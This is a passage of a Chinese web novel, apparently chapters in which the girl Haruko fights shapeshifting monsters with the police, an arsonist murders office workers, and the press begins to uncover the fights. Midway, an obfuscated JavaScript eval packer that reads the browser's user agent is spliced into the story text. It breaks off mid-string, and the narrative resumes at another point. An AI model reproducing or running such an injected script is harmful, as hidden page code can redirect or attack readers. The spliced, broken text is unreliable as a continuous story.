“子弹目前伤不了它,这不是理所当然的吗?你才是,到底明不明白状况!”黑木向所有在场的警察下令,“全员后撤!” 八塚玄一把抓住了黑木的衣领,“喂!我才是队长!” 就在这时,一个身影已经冲向了怪人。在场的所有警察知道,自己的职责已经是辅助了。八塚玄以及跟随他的部分警察也只能不情愿地后撤,但是枪口一直都对准着那边的战场。 “啧。”松开了黑木的衣领后,八塚玄道,“实际上子弹也并非完全没有作用,那家伙的身体仿佛是液体一般,虽然子弹打上去看起来都被化解,但是我们密集射击的过程中,它有些身体部分确实没有将子弹完全化解。尽管我们的子弹威力是小了一些,但这确实是它所具备的一个特性。” 黑木看着晴子,不知道怎么样让这个消息派上用场。 晴子向怪人出拳,那样强大的力量,打在怪人的身上仿佛完全没有作用一般,那些力道只是随着波纹一般的东西完全消散。可是对方出拳过来的时候却是结结实实的,打得晴子一个踉跄。 她用手掌抚过自己的脸颊,明明是水一般的怪人,打人竟然这么痛。她甩甩手,想要交出自己的利爪,却发现完全没有办法,利爪仿佛消失了一般,不管怎么样都无法出现。 就在这个间隙,她又中了一拳,整个人被打得翻滚。随后,怪人的双臂竟变为了很长的液态形状,直接勒住了她的脖子,将她提到了空中。她想要用手抓住怪物变形的双臂,可是却如同抓到了水上,完全无法握住任何东西。那双臂只是不断随着她的抓握变形,游走于她的手掌和手背。 警察们见到这一幕也没有旁观,由于两者已经分开了一段距离,弹雨开始向着怪人倾泻而下。晴子无助地蹬着双腿,但是不管她再怎么挣扎都没有用。 就在这时,或许只是巧合,怪人手臂的某处连续被数颗子弹集火,那个地方竟然出现了不自然的液体飞溅,最终猛地断裂开来。 警察们也不是愚蠢的人,敏锐地发现这一幕之后,尤其是八塚玄最亲近的部下们几乎是默契地将子弹集中到了怪物另一个手臂的某处,将其集火打断。 晴子从空中落下,怪人第一根断掉的手臂已经重新恢复,又向她袭击而来。但是这次她看得很准,一个翻滚从地面躲开后,连忙爬起来又是一个后跳将距离拉开。 大雨中,她与怪人对视着。看着子弹和雨水同时落在怪人身上激起的波纹,她突然想到了什么。 “全员后退,捂紧耳朵!” 这是这场战斗中晴子第一次说话,在场的警察们动作同时一顿。黑木反应极快,“全员后退,捂紧耳朵!” 警察们也是重新做出反应,很配合地全员照做,虽然不知道晴子到底要做什么,但是他们本能地服从了黑木的指示。 一边躲避着攻击,一边观察者警察们的行动,当她感觉差不多的时候,她停止了躲闪并张开了嘴。 “啊——” 刺耳的尖叫从她的口中传出,警察们尽管已经离得很远了,但还是都痛苦地咬紧了牙,随后开始继续快速后退。 怪人的身上出现了道道波纹,这些波纹在怪人身上来回游走也反复叠加。没有花多久,怪人就变得痛苦。随后,一定范围内所有警车的玻璃同时碎裂,怪人的身体也猛地出现了巨大的液体飞溅,只在一瞬间就被全身击垮。 它的四肢断开,身体散架,整个身躯都没办法维持原样。最终,所有的身体部分变得坚硬,然后化为了黑烟融入了晴子的身体。 晴子看见了,一个医院中的病房。 “没什么好担心的。” 医生坐在床上,看着一个半身失去知觉男人,眼中满是关心和温柔。 男人的眼中几乎没有光,“我已经是这副样子了,家里也没什么钱,我的妻子和孩子今后要怎么办呢?” 晴子扫了一眼病房,妻子并不在里面。 男孩抓住父亲的手臂,“没关系的,爸爸,我会成为男子汉保护你和妈妈的!” 看见男人并没有什么变化,医生的脸上出现了一丝愁容,就在此时,妻子从房中进来了,放下手中拎着的水果袋子,满是心疼地看着男人。 医生站起身,“太太,有些话我想对你说。” 男孩跟着三人一同出去,医生道:“您的丈夫其实情况很不乐观。” 太太担心地捂住了嘴,手都在忍不住地颤抖,“他的身体恶化了吗?” 医生摇摇头,“不是的,是他的心出了问题,您或许不知道事情的严重性,和您介绍一下,这位是和我关系很好的心理咨询师,我观察到您丈夫状态不对后,特地让她来看一眼的,结果真的不容乐观。您应该也听说了,之前这家医院有一个病人自杀了。” 男孩听着这些话,面容越发难以平静,他一把抓住了晴子的衣摆,“阿姨,我爸爸他真的很危险吗?他会死吗?” 晴子看着那充满恐惧和担心的稚嫩的脸庞,又看了一眼盯着她的医生,最后俯下身,轻轻摸了一下男孩的头,“是的呢,很危险哦,很多人不把抑郁当一回事,但是不及时用药物治疗的话,会更严重的。” 医生附和道:“是啊,您的丈夫是什么情况,我想您也能看得出来,这样下去,虽然我不想这么说,但是噩耗传来的话就来不及了。现在是特殊时期,谁也说不上会发生什么事。” 太太感到浑身发冷,下意识地用一根手臂环在胸前,“可是我们家,真的已经没钱了啊。” “太太!金钱和人命如何能相提并论呢!”医生将本就压低的声音又小了一分,“我也知道你们家的情况,我到时候帮你们想想办法,但是不要告诉别人。” 太太的眼睛出来了一丝亮光,“和我详细说说吧。” 男孩又看向晴子,“阿姨,吃了那种药我爸爸就会好好活着了吗?” 晴子温柔地微笑道:“嗯,别担心,只要用药,一切都会好起来的,但是绝对不能让爸爸发现吃的是这种药,很多病人发现是抑郁药的话就不会吃了,很多自杀的人就是这样觉得吃药没必要而最终失去了生命。” 男孩坚定地说:“嗯,为了爸爸,我会小心的。” 这一刻,晴子感觉自己的心里有什么东西彻底破碎了。 回到办公室,医生高兴地签下了合同,“哎呀,真不愧是你,你真是我的福星啊……” “晴子!晴子!” 她的耳边渐渐可以听到声音,那是黑木的声音,还有雨水的嘈杂。她抬起头,转头看向黑木。 即便是黑木也不禁呼吸一滞,那几乎是行尸走肉般的眼神。他上前一步,摇晃了一下晴子的双肩,“没事吧?还好吗?” 晴子慢慢闭上眼睛,轻轻点点头。 “呼,太好了。”黑木转过身,重新开始对现场的警察们下达命令。 风夏冲过来,将伞打到晴子头上,然后赶紧用另一只手拿起毛巾帮晴子擦擦脸和头发。 山田尚也跑到黑木身边,“黑木,幸存者都安置了,虽然只剩下了两个人。” 黑木心中一沉,这实在不能称为胜利,但他还是迅速调整心态,“带我过去,我们去做一下记录,把桂田也叫上。” 一切尘埃落定,风夏陪同晴子坐在旁边大楼的椅子上。晴子还是低着头,直到黑木有些疲惫地走到两人身边,“结束了,我送你们回去吧。” 风夏拉着晴子起身,同样从大楼里往外走的成田和晴子对视了两秒,晴子瞬间就明白了。 “怎么了?”风夏顺着晴子的视线看去。 晴子终究是松开了紧握的双拳,偏开了视线,头也不回地离开了。 车上,许久无言,直到黑木在红绿灯前踩下刹车,“对了,之前决定把那些怪物统称为怪人后,还没有决定你的代号呢。” 晴子看着打在车窗上的雨水,“那种东西,随便吧。” “我还特意叫他们不要随便了,是你的代号,我想着至少让你来决定。” 晴子沉默了片刻,“那就叫灰烬吧。” “灰烬?” “嗯,火燃烧之后剩下的那个。” “灰烬啊。”黑木看着远方,“真是个恶趣味的名字啊。” 5. 内疚 上次的事件后,警察们开了不少会。在警员们的追悼会上,所有人看着那些原本在自己身边的朋友变成了一张张照片,只剩下了深深的悲凉。 “不能再这样下去,黑木。再这样下去的话,警视厅的警察总有一天要死完的。” 黑木看了一眼桂田的眼睛,最后只能叹一口气,他明白,桂田说的是事实。 这时,房间的门被打开了,两人马上站起身。江藤望送晴子出来,“什么问题都没有,是很健康的身体。” 两人都松了口气,晴子只是面无表情地走到两人身边。 黑木道:“之前吓了我一跳呢,看起来总觉得失去了所有力量一般,没事真的是太好了。” “带她吃点好吃的吧,虽说是健康的身体,但战斗毕竟是一件辛苦的事。” “那肯定。” 几人相互简单地告别了一番,三人就向医院外走。 “喂,晴子。”江藤望在背后提声道,“下次战斗的时候要不要加一句‘变身’啊?” “哈?”晴子停下脚步,“那种羞耻的事情我怎么做得出来啊?” “哈哈哈,怎么说呢,哪怕不是‘变身’也好,应该做点什么呢。明明是在做帅气的事情,怎么能不让自己也耍耍帅呢?” “那种事,有什么必要……” “当然有了。”江藤望走到她的身边,“不是在对别人耍帅,而是在对自己。” “对自己……” “嗯,拯救他人是最帅气的事情之一,夸张的含蓄的都没有关系,你要必须要认可自己才行。” 晴子看了看眼前的男人,一身白大褂,随意地将手插在兜里,脸上带着普通的笑容,“可恶,明明是很普通的样子,不知道为什么,在自己眼里总觉得有点帅气呢。” 一个编辑部内,一名女记者翻看着最近的报道,越发觉得不对劲。不管哪一个报道都没有确切的信息,之前的那个下雨天,明明听到了那么密集的枪声,更早之前也是,几乎警察都开枪进行了某种镇压,可是却毫无缘由。 这时,之前电视上的某些采访出现在了她的脑海里,“怪物吗……”,她始终不知道那些“怪物”指的是什么。本来让人感觉只是无稽之谈,但是同时有不止一个人那样说,就证明一定是存在些什么。 简单地收拾了一下,拎起包,她就打算去采访一下之前事件中仍然存活的受害者。 走到医院门口,两个男人和一个女孩和她擦肩而过,她不禁停下脚步,回头看了看三人离开的方向,“总觉得,那个穿西装的有点面熟啊……是从哪见过的呢?” 车上,桂田提出想要回去尽快去的研究成果,黑木就将他先送回去了。今天风夏与朋友有约,所以没有过来。于是黑木就带着晴子单独去了一家高档餐厅,希望好好犒劳一下晴子。 “想吃什么随意点就是了,不用考虑其他的,你点多少我都请得起。” 听到黑木的豪言,晴子稍稍笑出来了一点,“那我就不客气了。” 晴子是真的没客气,直接点了四个菜,其中甚至有一整个烤鸡。她现在有一种想以吃东西作为发泄的感觉,黑木也没什么意见,只是看着那只鸡都没绷住,只有这一只鸡都够他们两个吃了,结果还点了龙虾、一面和一看就很贵的汤。 晴子感觉挺不好意思,“抱歉,我有点夸张了。” “哈哈哈哈,没事没事。”黑木笑着摆摆手,“只要你高兴就好了。” 晴子红着脸,把整个的龙虾捧在手里咬了一小口。 “我觉得黑木先生总是很乐观呢。”吃了一会儿,晴子突然冒出了这么一句。 黑木将一面咽下,“是吗?你是这样觉得的吗?” “嗯,总觉得黑木先生一直都很冷静,遇到事情的时候都能处理得很好,真是令人羡慕。” “警察就是这样的啊。”黑木放下了叉子,“如果警察都不能保持冷静,那么真正处于事件漩涡的受害者要怎么办呢?” “可是黑木先生不仅冷静还温柔,有实力也有耐心,到底是怎么做到的呢?” “哎呀呀,被这么可爱的女孩这么评价我的人生也算值得了吧,哈哈哈。”看着快把脸埋进盘子的晴子,他回忆道,“当初要成为警察的时候就是下定了决心的。那时就好好地想清楚了自己想要贯彻的信念,所以之后不管怎么样都会想起当初的自己啊。” “当初想要贯彻的信念啊……” “嗯。你看着我一直都是这样,但是我当然也有痛苦和迷茫的时候,警察真的不轻松,背负着那么多责任的职业,经常都会产生不想再干下去的感觉呢。” 晴子抬起头,“会这样吗?我觉得警察都是又厉害又强大的人啊。” “哈哈,警察又不是神,再厉害的人也抵挡不了人性中本就存在的负面情绪啊。关键的是,当自己处于负面的时候要怎么样让自己看清本该看清的东西。” “本该看清的?” “是啊,为什么做这件事,自己是以什么样的心情去做的。当人决定去做一件事的时候,不论大小,一定有属于自己的初衷,如果这是一件会牵扯到很多人的事,那么那个初衷一定包含了不得了的信念吧。” 晴子陷入了沉思,黑木就这样陪伴着她。 消防厅中,消防员们正在准备午饭。 “哦!今天的午饭不错啊!”一个男人看着这一桌子菜,“这是怎么回事?” “队长自己都忘了吗?”一个年轻人笑着拍拍手,床帘全部被拉上,另一个小伙子端着点着蜡烛的蛋糕走了进来。 “诶呦,我还真忘记了!”队长一拍脑门,队员们都凑了过来,“好啊,臭小子们。” “快许愿吧,队长!” 队长闭上眼睛笑着许了个愿,随后睁开眼睛,将蜡烛一口气吹灭。正要说些什么,突然警铃大作。在场的所有人几乎是瞬间收起了笑容,队员赶紧将蛋糕放到了桌子上,所有人直接冲了出去。蛋糕的蜡烛在震动中倒下了一根,把平整的奶油压出了一条印记。 “这……” 到场的消防员几乎都感到头痛不已,这一整栋楼都烧起来了。 “这也太夸张了队长!接到报警才多久,虽然这栋楼不算大,但是怎么火烧得这么快!” 队长仔细观察了一下现场后,迅速下达了指令。 就在队长正要开始行动的时候,四楼的窗户突然“嘭”得一声炸响,“救命!” 听见这一声,所有人的眼睛都向上看去,队长大喊道,“马上就上去救你们!” 但是一股火苗从窗户处喷出,女人尖叫一声,身影从窗户处消失。 一名队员想要推门进去,但是完全推不动门,透过门缝看见把手上的链锁和挤在门口的黑色团块们,队员心脏就像是被一只手狠狠捏住。他立即喊道:“门锁了!破门!” 一队消防员从下层开始突破,队长则是乘坐云梯直接去那个开启的窗户处救人。高压水枪从窗户那里进行压制,同时从几处喷射着整个楼体。 感觉暂时已经可以了,至少没有火苗从窗户处喷出,焦急的队长终于能够翻窗进去。浓烟和火光让他看不清楚现场的情形,本以为女人可能还在窗户附近,但是看样子是换了地方。 “有人在吗!咳咳,有人还活着吗!” 队长一声又一声地呼喊着,但是完全没有人回应。一间屋子一间屋子地排查,即便是防火材料的衣服,也顶不住热量开始逐渐渗入队长的皮肤。 他的呼吸越来越沉重,但是终于走到了一个楼梯口。刚看清楚,就发现大量被灼烧的尸体堆积在那里。一大堆尸体挤在一起,在尽头,一和女人昏迷了过去,似乎就是那个求救的女人,但是她的身上并没有明显的烧伤,那一堆尸体距离她虽然不远,但仍有一些距离。 看样子应该是缺氧昏迷,队长背起她,从尸体堆中出来,正要离开,回想了一下这房屋的大概状态,他瞬间决定由背转为抱,向着那个已经打开的窗户前进。路十分难走,但是经验老道的队长不知道已经进过多少火场,他冷静地缩短着和出口之间的距离。 历经了艰辛,刚才还能勉强立着的房门此刻已经倒了下来。他一脚把门踹开,侧身进入了房间。或许是因为震动,也或许是因为灼烧,墙边的资料架突然倒了下来。 然而他之前就料到了有这种情况的发生,他几乎是在资料架倒下的一瞬就开始向侧面移动,并且用自己的身体挡住了砸下来的木材。 “啊!” 他终究是沉声哀嚎了出来,不仅仅是因为资料架砸在了他的身上,还有一个金属制的奖杯在他的脖子狠狠地来了一下。由于他将女人的头部和上半身整个紧急抱在了怀里,索性女人没有受到伤害。 只是他的身体被压住,为了保护好人的安全,挪出来相当费劲。他低吼着,拖动着有些麻木的身躯,一只手从腋下抽着女人的身体,另一只手辅助用力把两个人的重量从资料架下面挪走。爬出来的他紧盯着窗户的位置,终于一步一步地走向了光明。 大楼下,几名队员将队长的衣服脱下,用大量的水为他降温。救护车已经到来,将陷入昏迷的两人,以及队员们从一楼救下的唯一的幸存者全部带上了车。 火势完全平息,被判断为可以安全地进入,已经是三小时后的事情了。 原本不是八塚玄要来的,但是在听完事情的经过后,他自己要求负责这起案件。冷着脸踏入一层,已经烧焦的现场散发出混合的难闻气味,他却毫不在意地向里面走去。 “队长,根据报告,火势当时蔓延极快,似乎是一楼先出现问题才向上蔓延的。” “我知道。” 实际上事情的脉络在他的脑海中已经成型,剩下的不过是收集证据罢了。 这里很快被媒体围得水泄不通,媒体争相报道,虽然被警察拦住了现场,但是还是竭尽所能拍着照片。 女记者放下相机,突然表情变得恍然大悟,“我说怎么眼熟呢,原来是他啊。” 医院里,女人慢慢睁开眼睛,然后发出了剧烈的尖叫。 闻声赶来的医生和护士赶紧坐到她的身边,“已经没事了,你已经安全了。” “不,不,不。” 女人抱着脑袋,情绪相当不稳定,仿佛完全听不进去其他人的话, “不行啊,患者根本冷静不了。”护士担心地看向医生。 医生也是满脸愁容,思索着要不要开一次镇静剂。 女人的脑海里,之前的事情完全挥之不去。她就是那里的员工,原本是在正长上班的,要说有什么不同,就是今天听说要做一个楼道消毒,还要喷上一定量的杀虫剂,没有必要的话都要先待在办公室里。 “最近确实莫名其妙地蟑螂泛滥啊。”男同事一边打着字一边说。 女人也附和道:“是啊,也不知道是哪里来的蟑螂,之前快把我吓死了,消消毒也好啊。” “社长也是的,这时候也不知道跑到哪去了。”男人说完,笑着将身子探过来,“等外面没问题了之后,一起去吃个午饭吧。”他摸摸自己的裤兜,里面一个小盒子好好地放在那里。 女人也笑出来,“嗯,今天就吃点简单的吧。” “好。” 楼下,前台的女职员对一个带着口罩的工人说,“上面都搞定了吗?” 那人推着车点点头,一只手里拎着一个大桶,另一只手里则抓着一个大喷壶。 “辛苦了,如果蟑螂能除掉就好了呢。” 工人走到门边,突然将大门关了起来。前台见状,一边走过来,一边奇怪地问道:“怎么了吗?” 工人从衣服的口袋里掏出一个链锁扣在了门把手上,前台见状猛地觉得不对劲,可就在她想跑开的时候,工人掀开桶盖,拎起桶就将里面的东西泼在了她的身上以及周围的大片地面上。这时,一股气味令前台心中的恐惧骤然升起。 火光骤然升起,前台的尖叫引起了一楼和楼上最近的人的注意,那人先打开门,发现所有的地方都燃起了熊熊烈火。 一楼里面工作的人和二楼的人想要从门口冲出去,结果发现门被锁上根本打不开。偏偏这又不是玻璃门,而是金属门,即便往外拽也只能打开一个缝。通过这个缝,外面的路人听到了里面人的呼救。 一楼和二楼窗户上都有护栏,导致这两层的人只能往上跑。话虽如此,能跑的人也不多了,大量的人已经被堵死在楼梯口下面,那一条门缝即便没有任何意义,还是成为了他们疯狂地想要拥挤的圣地。 当三楼的人察觉到不对,下面已经完全封死,自己的楼层也彻底燃起来了。尤其是所有的楼梯,上面都是熊熊燃烧。有三楼的人想要向下逃,却看到满身浴火的同事挣扎着爬过来,“不要……下来……” “啊——” 所有人尖叫着向上逃,男人总觉得不对,打开门一股浓烟伴随着火苗就冲了进来。 女人见状害怕地缩在了角落,木制的地板此刻已经无法阻止火势向内部蔓延,男人左顾右盼,把衣服放在地上,用脚踩上去,希望抹掉窜进来的火苗,但却是徒劳。 “快开窗求救!” 女人听见这一声,挣扎着将窗户全力推开,“救命!” “不行了,趁着还勉强能走,上天台!在这里面我们会被堵死的!” 男人拉着女人就跑,两人全力穿过火焰的长廊,仿佛置身地狱一般。 两人是第一个到天台门口的,男人使劲扭动着把手,“可恶,打不开,天台的钥匙在哪来着?对了!在前台!” 当他得出这个结论的时候,两个人几乎是同时陷入绝望。他从兜里把小盒子拿出来,然后用里塞到女人衣服里,声音颤抖地挤出一丝笑容,“别怕,会没事的,我会保护你。” 这时,又有同事冲来了这里,一边将彼此裤腿上的火苗扑灭。 “天台怎么样!” “锁了。” “可恶!” 陆陆续续有人先后到达了这里,加上他们两个,这里已经挤了七个人了。 看着还在上升的火苗,一个女职员流下眼泪尖叫道:“不要啊!我不想死!” 所有人都疯了一样地想往上冲,男人用双手用力抵住门,用后背接受着冲击,看着身下蜷缩着的流着泪的女人,他知道已经没有机会了。 “抱歉。”男人有千言万语想要说出来作为道别,可是在这个时候,却一句多余的话都想不出来。 他转头看了看已经被火焰缠身的最下面的同事,又回头看了一眼这个自己爱着的人女人,“唯独这一段是水泥的楼梯,至少,要让她……” 他用力转过身,身后的冲击立即让他的后脑磕到了门上。他右脚往后一步,张开双臂,发出了怒吼,“喝啊!” 下面明明有五个人可却被他硬生生推动。 “你个混蛋!你想杀了我吗!” 面对同事们的嘶吼,他咬紧牙关,满脸通红,额头上都暴起青筋。这么多人,硬是和女人保持了一定的距离,“就是这样又如何!我身后的可是我的恋人啊!” 八塚玄看着楼梯上的那些尸体,轻轻闭上了眼睛,“记录现场。” “是。”身边的警察也偏过头去,他们实在不想再看着这一幕。 病床上,女人突然想起了什么,摸了摸口袋,发现男人确实是放进去了什么。她颤抖着手打开了那盒子,里面的戒指顷刻之间就被泪水浸湿。 不知道过去了多久,双眼无神的女人走出了房门,虽然不知道他在哪,但她希望到他的身边。她永远都忘不了,在她失去知觉之前,即便已经浑身都燃着烈火,却全力向前倾倒身体的恋人。 没走几步,一个病房前有警察守着,她走过去,警察拦住她,“你好,是北村惠美小姐吗?请你先安心在病房等待一段时间,我们警方有些情况想要了解,而且你也需要休息。” 她没有往回走,而是向病房里看去,毕竟是同事一场,她想看看到底是谁活了下来。 病房里,一个男人抹着眼睛说:“是的警官,我就是情急之下躲进了厕所才幸免于难,真的是太残酷了……” 警察将手放在他的后背,“没事的,都结束了。” 就在他抬头的一瞬,他和北村目光交汇。 “你怎么没死!” 男人先是相当惊讶,随后才反应过来自己说错了话。警察一瞬间就将手摸向了枪,旁边也有警察迅速来到了男人的身边。 女人简直不敢相信自己的眼睛,“你又不是那的员工,你怎么会在那?” 警察反应极快,几乎是凭着直觉拦住了他,给他戴上了手铐。被按在床上的男人凶狠地叫喊着,仿佛和刚才不是一个人,“你这个背叛我的女人!为什么!我明明是要杀你的!为什么偏偏是你没死!” 女人一下跪倒在了地上,难以置信地捂住了嘴,随后一口吐了出来。 警视厅中,警察很快搞明白了是怎么回事。在听完了男人的供述之后,八塚玄直接掏枪指向了他的头部。 “冷静啊队长!” 旁白的警察一把抓住了八塚玄的胳膊,“为了这样的渣子不值得!千万别冲动啊队长!” 旁边的警察都要吓死了,当八塚玄提出接手这一案件的时候,他就一直在防着这一幕,结果还是变成了这样。 走出审讯室,八塚玄与黑木刚好迎上,双方都停下了脚步。 “结果是?” “嫌疑人对受害者有病态的爱意和占有欲,和受害者表白被拒绝后心生恨意,打听到被害者所在的公司以及同样属于这个公司的男友后终于爆发。他认为是这个公司以及那个男人夺走了自己的女人,同时又觉得拒绝自己的女人是对自己的不忠。” “真是一个变态的罪犯。” “是啊。”八塚玄侧目道,“照片看了吗?” 黑木没有说话,八塚玄接着道:“那个男人,比你要有出息一些啊。” 说完,头也不回地走了。 黑木阴沉着脸,久久没有迈出一步。 病床边,一队的消防员都在这里。而他们的队长此刻也渐渐苏醒,要说有什么不对的地方,就是他感觉完全无法坐起来。 “是我这次太累了吗?” 旁边一个队员再也绷不住自己的泪水,“不是的队长,医生说……你脖子以下全都瘫痪了……” 所有的队员全都流出了眼泪,队长看着天花板叹息一声,“假如我再年轻一点,是否就没事了呢?” 他看了看周围的队员们,“你们怎么都在这啊?你们不回去,有火灾了怎么办?快回去!” 所有人都恋恋不舍地看着病床上的队长。 “还认不认我这个队长了!这是命令!” 好不容易赶走了队员们,队长长叹一声,“没料到,这一生竟然是这样的结局。” 回到消防厅的众人都十分疲惫,不管是身体还是心灵,这一路上几乎都没有人说话。看着桌上那个蛋糕,再硬的硬汉都在默默流泪。 可是现实就是那样残酷,还不等众人伤感,警铃就又突然响起,所有人还没来得及坐下,就直接冲了出去。 这次着火的是一个公寓,奇怪的是,偏偏是被火焰包围的一户偏偏没有着。当那人打开窗户求救的时候,消防员们简直不敢相信自己的眼睛,怎么又是那个女人! 这次很多人都跑了出来,但是其中却有人恐惧地看着楼门,“怪,怪物!” 警视厅中,黑木垂着头坐在桌前,他的电话不合时宜地响了起来。 看着一片火海的晴子也是倒吸了一口凉气,实际看见火灾这还是第一次,那真是令人不想踏入一步,但她明白,不进行战斗是不行的。 警察迅速封锁了现场,将所有的无关人员都清到了老远。女记者敏锐地发觉有什么事情不对劲,她看到附近有一个宾馆,立即冲过去想要开一间房。 晴子站在门口,正想变成战斗的姿态,突然想起了江藤望的话。 犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它硬撑着,颤抖着双腿想要站起来,可是却终究是一下单膝跪下了地上。它的腹部突然如蛛网般皲裂,随后整个身躯炸成了黑烟。 从警视厅出来的晴子一步步地向着家走,脑海中的影像还是挥之不去,鼻腔里仿佛还留存着人肉烧焦的味道。 她脸色苍白地进屋,完全失去力量一般倒在床上。 不知道过了多久,家里的门铃被人按响,打开门,是两个上了年纪的人,她一下子后退了几步,将身体靠在了墙边。 伯母开口道:“听说,归吾是为了你而死的。” 晴子连连摇头,“本来大家就都没救了,不是我的错,不是我的错……” 伯母冲进来,连续用掌打向她,“为什么!为什么只有你活下来了!归吾为你付出了那么多!连生命都付出了!你居然没有陪在他的遗体旁边!” “不是的,警察说了,要调查完才能安排见面。” “你给我闭嘴!你为什么活下来了!为什么只有我的儿子死了!” 晴子看着这个疯狂的老人,眼睛完全失去了光芒,任由老人的手掌拍在自己的身上,任由老人的指甲在自己的脸上挠出了血印。她偏头看向另一个老人,发现他只是那样冷眼看着,眼睛里什么都没有。 晴子的内心反复地问着自己,仿佛连老人的声音都听不见了,“是啊,为什么,为什么只有我活下来了?他们都死了,归吾为了保护我也死了,他就是那种样子,都没有后退一步。是啊,我本该死的,我本来应该一起死的,我死后不会还被地狱的业火灼烧吧。我有罪,我有罪,我有罪……” 晴子突然一口吐了出来,耳边的警笛声还是像往常一样。她看见了那个地狱,虽然处在那里的不是她,但她还是亲眼看到了。脸色苍白地环顾四周,她发现黑木并没有一如既往地出现在她的身边。 山田尚也跑过来说:“晴子,黑木他今天没来,要我送你回警视厅吗?” 晴子摇了摇头,“直接送我回家吧,我想歇一歇,对了,路上我想买点冰淇淋,麻烦了。” 这还是山田第一次和晴子独处,从后视镜看着这个女孩,他也不知道应该说些什么,但总觉得那是一个心思十分复杂的孩子。 坐在车上的晴子,脑海里还是反反复复地出现刚才看见的场景,“警察,经常要面对那样的场景吗?” “什么?” “抱歉,是我的自言自语。”晴子顿了顿,“总觉得警察们十分辛苦呢。” “为什么突然这么说?” “总觉得要办案的话,多么惨烈的现场都必须要仔细确认才行,对警察来说,根本不存在逃避这个选项。” “是啊。”山田也有些感慨,“我做警察也快十年了,真的是见过不少常人完全不想去看的场面。” “警察就不会觉得恶心吗?” “会啊,可是那是必须去做的事。既然成为了警察,那就要好好履行自己的职责,去那些常人不想去看的现场找出事情的真相,就是警察被赋予的使命之一不是吗?” “原来如此。” 晴子的脑海还是有些乱,始终没有办法静下来。但是她的心中还是拥有了一个想法,“既然我拥有了这样的力量,那些就已经是我份内的事了吗……” 山田的电话突然响了,他把车停到路边接了起来。 “嗯,嗯,什么?我知道了。”将电话放下后,他小声自言自语道,“麻烦了,黑木怎么回事啊?” 晴子一听见“黑木”两个字立即关切地问道:“出什么事了吗,山田先生?话说今天黑木先生居然没来呢。” “是啊。”山田重新启动车辆,“黑木居然和你不在一起,都自己说了要负责了。今天也幸亏你离现场不远,给我省了不少事,否则要是我还得绕路回警视厅就麻烦了。” “黑木先生是在忙吗?” “不知道。” “嗯?” 山田叹了口气,“黑木联系不上了。” “啊?” “本来我还以为是他有事呢,黑木这家伙明明挺靠谱的,怎么突然就联系不上了呢?”山田看见晴子有些担心的表情宽慰道,“别担心,黑木的事情就交给我们吧,对你来说现在最重要的就是休息。” 回到家后,风夏见她回到了房间,一看她的样子,就知道她又去战斗了。 晴子几乎是一回来就趴在了风夏的肩头,风夏顺势抱住她,“怎么了?累了吗?” 晴子在她肩头蹭了蹭作为回应,然后就不再动了。风夏感觉她就像燃尽了一般,仿佛一点力气都没有了一样。两个人就这样保持了一会儿,直到晴子轻微的鼾声传来,风夏才发现她已经睡着了。 将晴子慢慢放在床上,风夏就离开了。 晚上,晴子才慢慢睁开了眼睛。她揉揉眼睛,看向已经完全黑下来的窗外,好好伸了个懒腰,从床上爬了起来。房间里一片漆黑,她摸着打开了台灯,发现风夏帮她盖上了被子。 她慢慢走到卧室门前,一开门,突然在两边传来了“砰砰”两声。 晴子愣在原地,“这是……” 三人一起祝贺道:“晴子,生日快乐!” 风夏无奈地说:“你这家伙,居然连自己的生日都忘了。” 晴子慢慢张开嘴,又缓缓合上,最后逐渐露出了笑容。 她确实是把这件事忘掉了,其实已经有好几年没有过生日了,如果不是风夏一家今天主动帮她庆祝,她一定还会同平常的日子一般随意地度过。 风夏的妈妈笑着邀请晴子落座,“我对你的口味还是很了解的,今天做了你喜欢的东西呦。” 风夏的爸爸则是端着一个看着就很贵的蛋糕过来了,“生日还是得先做这件事才行啊。” 点上蜡烛关上灯,晴子轻轻闭上眼睛。 要说许愿,真是有许不完的愿望,三人开始唱生日歌,晴子也闭上了眼睛。无数思绪从心底冒出,数个渴望相继出现在脑海,但是对她来说,答案却十分简单。 生日歌停下了,晴子在心中默念,“希望可以不用再战斗了。” 睁开眼睛,深吸一口气,顺利地一气吹灭了所有蜡烛。三人都鼓起了掌,风夏凑过来,“许了什么愿望呀?” 风夏的妈妈轻轻摸摸风夏的头,“说出来不就不灵了吗?要用心灵默默传达出去,才会被神大人承接下来哦。” 晴子看着温馨的母女俩,脸上的笑容渐渐收了回来。 “神吗……如果真的有神存在,那就创造一个谁都不会受伤的世界吧。” 当然,她并没有说出自己的心声,只是越发觉得这人世间十分可悲。从自己可以消除他人身上的黑气开始,到现在与怪人进行战斗,她已经被迫切身感受到了几十个人的负面情绪,每一个都让她无法忘记,经常在晚上做梦的时候都会梦到曾经所看到过的某个场景。 “为什么这世间如此残酷?” 连她自己都没有注意到,泪水从她的脸上滑落。 风夏见状,连忙贴过来,“这么夸张呀,不过你只要满意就好了。” 晴子这才察觉到滴到手背上的液体,连忙用手臂抹了抹眼睛,“嗯!我超级开心!” “嘿嘿,那就最好啦!” 此时此刻,某一个出租车上,一个男人正在前往某个地方。 “这个时候去那种地方吗?客人,你还好吗?” “啊。” 司机有些担忧地看着后视镜,但他并没有停下来的意思。既然是被人要求的,哪怕自己不送也自然会有人将他送去那里,既然如此还不如自己拿下这笔钱,至于他想做什么或者他的想法,和自己并没有什么关系。 警视厅中,八塚玄拿着一个相框看了良久,一个警员报告道:“队长,黑木队长联系不上了。” “放着别管。”他站起身,“那种人没有什么管他的必要,那是他自己的事。” 6. 审判 大早上,警视厅就被围了个水泄不通,即便是想要去工作的警察都没办法通过。 这是自然的,现在怪人和晴子战斗的照片已经满天飞了,大部分都比较模糊,只有很少的相对清晰,但那已经足够了。 大量的媒体希望警视厅给一个说法,警视厅方面也早就料到有这么一天了,倒不如说很惊讶这一天来得这么晚。 “既然怪人已经稳定地能够被常人看到,那就是时候公布一些情报了,否则也不利于我们的战斗,还会让我们显得做了亏心事一样,至于公布了之后群众是否恐慌,就算有不知情的人感到恐慌,了解了怪人也比丢了命强。” 当厅长下达了这个指令后,媒体们反而感到有些惊讶。原本那样封锁着现场,藏着掖着的举动仿佛就和假的一样。现在的警视厅方面抛出了少量情报,不过媒体们并不知道关于晴子的任何事。 